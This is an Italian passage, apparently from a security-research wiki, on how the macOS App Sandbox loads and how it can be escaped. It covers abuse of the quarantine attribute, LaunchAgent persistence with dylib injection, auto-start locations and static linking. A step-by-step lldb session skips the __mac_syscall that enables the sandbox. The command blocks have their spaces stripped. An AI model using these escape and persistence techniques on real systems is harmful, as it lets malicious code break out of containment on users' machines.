Nell'immagine precedente è possibile osservare come la sandbox verrà caricata quando viene eseguita un'applicazione con il diritto com.apple.security.app-sandbox.
Il compilatore collegherà /usr/lib/libSystem.B.dylib al binario.
Poi, libSystem.B chiamerà altre funzioni fino a quando xpc_pipe_routine invia i diritti dell'app a securityd. Securityd controlla se il processo deve essere messo in quarantena all'interno della Sandbox, e se sì, verrà messo in quarantena.
Infine, la sandbox verrà attivata con una chiamata a __sandbox_ms che chiamerà __mac_syscall.
Possibili Bypass
Bypass dell'attributo di quarantena
I file creati da processi in sandbox vengono aggiunti con l'attributo di quarantena per prevenire la fuga dalla sandbox. Tuttavia, se riesci a creare una cartella .app senza l'attributo di quarantena all'interno di un'applicazione in sandbox, potresti far puntare il binario del pacchetto dell'app a /bin/bash e aggiungere alcune variabili d'ambiente nel plist per abusare di open per lanciare la nuova app senza sandbox.
Pertanto, al momento, se sei in grado di creare una cartella con un nome che termina in .app senza un attributo di quarantena, puoi sfuggire alla sandbox perché macOS controlla solo l'attributo di quarantena nella cartella .app e nell'eseguibile principale (e noi faremo puntare l'eseguibile principale a /bin/bash).
Nota che se un pacchetto .app è già stato autorizzato a essere eseguito (ha un xttr di quarantena con il flag autorizzato a eseguire attivato), potresti anche abusarne... tranne che ora non puoi scrivere all'interno dei pacchetti .app a meno che tu non abbia alcuni permessi TCC privilegiati (che non avrai all'interno di una sandbox alta).
Anche se un'applicazione è destinata a essere in sandbox (com.apple.security.app-sandbox), è possibile bypassare la sandbox se viene eseguita da un LaunchAgent (~/Library/LaunchAgents), ad esempio.
Come spiegato in questo post, se vuoi ottenere persistenza con un'applicazione che è in sandbox, potresti farla eseguire automaticamente come LaunchAgent e magari iniettare codice malevolo tramite variabili d'ambiente DyLib.
Abuso delle posizioni di avvio automatico
Se un processo in sandbox può scrivere in un luogo dove successivamente un'applicazione non in sandbox eseguirà il binario, sarà in grado di sfuggire semplicemente posizionando lì il binario. Un buon esempio di questo tipo di posizioni sono ~/Library/LaunchAgents o /System/Library/LaunchDaemons.
Per questo potresti anche aver bisogno di 2 passaggi: far eseguire un processo con una sandbox più permissiva (file-read*, file-write*) che eseguirà il tuo codice che scriverà effettivamente in un luogo dove sarà eseguito senza sandbox.
Controlla questa pagina sulle posizioni di avvio automatico:
Abuso di altri processi
Se da quel processo in sandbox riesci a compromettere altri processi in esecuzione in sandbox meno restrittive (o nessuna), sarai in grado di sfuggire alle loro sandbox:
Compilazione statica e collegamento dinamico
Questa ricerca ha scoperto 2 modi per bypassare la Sandbox. Poiché la sandbox viene applicata dal userland quando la libreria libSystem viene caricata. Se un binario potesse evitare di caricarla, non verrebbe mai messo in sandbox:
Se il binario fosse completamente compilato staticamente, potrebbe evitare di caricare quella libreria.
Se il binario non avesse bisogno di caricare alcuna libreria (poiché il linker è anche in libSystem), non avrà bisogno di caricare libSystem.
Shellcodes
Nota che anche gli shellcodes in ARM64 devono essere collegati in libSystem.dylib:
# Compile itgcc-Xlinker-sectcreate-Xlinker__TEXT-Xlinker__info_plist-XlinkerInfo.plistsand.c-osand# Create a certificate for "Code Signing"# Apply the entitlements via signingcodesign-s<cert-name>--entitlementsentitlements.xmlsand
L'app cercherà di leggere il file ~/Desktop/del.txt, che il Sandbox non permetterà.
Crea un file lì, poiché una volta che il Sandbox è stato bypassato, sarà in grado di leggerlo:
echo"Sandbox Bypassed">~/Desktop/del.txt
Debugghiamo l'applicazione per vedere quando viene caricato il Sandbox:
# Load app in debugginglldb./sand# Set breakpoint in xpc_pipe_routine(lldb) bxpc_pipe_routine# run(lldb) r# This breakpoint is reached by different functionalities# Check in the backtrace is it was de sandbox one the one that reached it# We are looking for the one libsecinit from libSystem.B, like the following one:(lldb) bt* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routineframe#1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584frame#2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64frame#3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80frame#4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272# To avoid lldb cutting info(lldb) settingssettarget.max-string-summary-length10000# The message is in the 2 arg of the xpc_pipe_routine function, get it with:(lldb) p (char *) xpc_copy_description($x1)(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored(lldb) registerreadx2x2=0x000000016fdfd660# Move until the end of the function(lldb) finish# Read the response## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY(lldb) memoryread-fp0x000000016fdfd660-c10x16fdfd660:0x0000600003d04000(lldb) p (char *) xpc_copy_description(0x0000600003d04000)(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)(lldb) breakpointset--name__mac_syscall--condition'($x1 == 0)'(lldb) c# The 1 arg is the name of the policy, in this case "Sandbox"(lldb) memoryread-fs $x00x19300eb22:"Sandbox"## BYPASS## Due to the previous bp, the process will be stopped in:Process2517stopped* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1frame#0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscalllibsystem_kernel.dylib`:-> 0x187659900<+0>:movx16,#0x17d0x187659904<+4>:svc#0x800x187659908<+8>:b.lo0x187659928 ; <+40>0x18765990c<+12>:pacibsp# To bypass jump to the b.lo address modifying some registers first(lldb) breakpointdelete1# Remove bp(lldb) registerwrite $pc 0x187659928#b.lo address(lldb) registerwrite $x0 0x00(lldb) registerwrite $x1 0x00(lldb) registerwrite $x16 0x17d(lldb) cProcess2517resumingSandboxBypassed!Process2517exitedwithstatus=0 (0x00000000)
Anche con il Sandbox bypassato, TCC chiederà all'utente se desidera consentire al processo di leggere file dal desktop